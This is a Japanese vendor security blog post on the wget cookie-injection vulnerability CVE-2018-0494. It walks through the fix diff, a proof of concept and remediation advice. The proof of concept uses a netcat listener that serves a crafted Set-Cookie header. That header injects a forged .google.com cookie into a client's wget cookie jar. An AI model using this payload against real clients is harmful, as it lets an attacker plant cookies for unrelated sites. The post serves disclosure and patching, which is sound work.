wgetの脆弱性(CVE-2018-0494) — | サイオスOSS | サイオステクノロジー
wgetの脆弱性(CVE-2018-0494)
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
05/07/2018にwgetの脆弱性情報(CVE-2018-0494)が公開されています。今回はこれらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。
修正方法
各ディストリビューションの情報を確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0494
Cookieインジェクションの脆弱性
wgetのhttp.c中のresp_new()関数に問題が有り、継続する行に\r\nがあった際にパース処理でそのまま残していました。これを利用して、悪意のある外部サイトの攻撃者が接続を待ち受け、接続した際にクッキーインジェクションを行うことが可能になります。
この問題での修正は以下になります。
diff --git a/src/http.c b/src/http.c index c8960f1..77bdbbe 100644 --- a/src/http.c +++ b/src/http.c @@ -613,9 +613,9 @@ struct response { resp_header_*. */ static struct response * -resp_new (const char *head) +resp_new (char *head) { - const char *hdr; + char *hdr; int count, size; struct response *resp = xnew0 (struct response); @@ -644,15 +644,23 @@ resp_new (const char *head) break; /* Find the end of HDR, including continuations. */ - do + for (;;) { - const char *end = strchr (hdr, '\n'); + char *end = strchr (hdr, '\n'); + if (end) hdr = end + 1; else hdr += strlen (hdr); + + if (*hdr != ' ' && *hdr != '\t') + break; + + // continuation, transform \r and \n into spaces + *end = ' '; + if (end > head && end[-1] == '\r') + end[-1] = ' '; } - while (*hdr == ' ' || *hdr == '\t'); } DO_REALLOC (resp->headers, size, count + 1, const char *); resp->headers[count] = NULL;
PoC
悪意のある外部ユーザだとして、以下のような、簡易httpdサーバ(192.168.1.1)を立てておきます(Port7777)。
[victim@cent74 ~]$ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777
クライアントから、簡易httpdサーバにwgetで接続してCookieをjar.txtとして保存します。
sios@client:~/SIOS/VP$ wget --save-cookies jar.txt http://192.168.1.1:7777/plop
jar.txtファイルを見ると、クライアントのクッキーが書き換えられているのがわかります。
sios@client:~/SIOS/VP$ cat jar.txt # HTTP cookie file. # Generated by Wget on 2018-05-07 10:15:06. # Edit at your own risk. 192.168.1.1:7777 FALSE / FALSE 1956556800 foo "bar .google.com TRUE / FALSE 1900000000 injected cookie
主なディストリビューションの対応方法
詳細は、各ディストリビューションの提供元にご確認ください
対処方法
各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat Satelliteを使うと管理が便利でしょう。
Red Hat Satelliteを用いた一般的なErattaの適用は、『Red Hat Satellite 6でerrataを適用してみる』を 参考にして下さい。
[参考]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0494
セキュリティ系連載案内
OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。
OSSセキュリティ技術の会によるThinkITでの連載「開発者のためのセキュリティ実践講座」がThinkIT上で開始しました。技術の会の中の人間で、最新の代表的なOSSセキュリティ技術を紹介していきます。
OSSセキュリティ技術の会により、ThinkITでLinuxSecuritySummit 2017のレポートが紹介されています。
OSSセキュリティ技術の会の面により、@ITで「OSS脆弱性ウォッチ」が連載されています。
セミナー情報
2018年05月17日 (木) 15:00から、MKTインターナショナル株式会社 / デジタルアーツ株式会社 / 日本オラクル株式会社 / サイオステクノロジー株式会社で連携してセミナーを開催します。
日本オラクル社からは、 MySQL Global Business Unit Sales Consulting Senior Managerの梶山 隆輔をお招きし、MySQLデータベースのセキュリティソリューションについてお話を頂きます。
https://sios.secure.force.com/webform/SeminarDetail?id=701100000012NsIAAUがプログラム内容と申し込みの詳細になりますので、是非お申し込み下さい。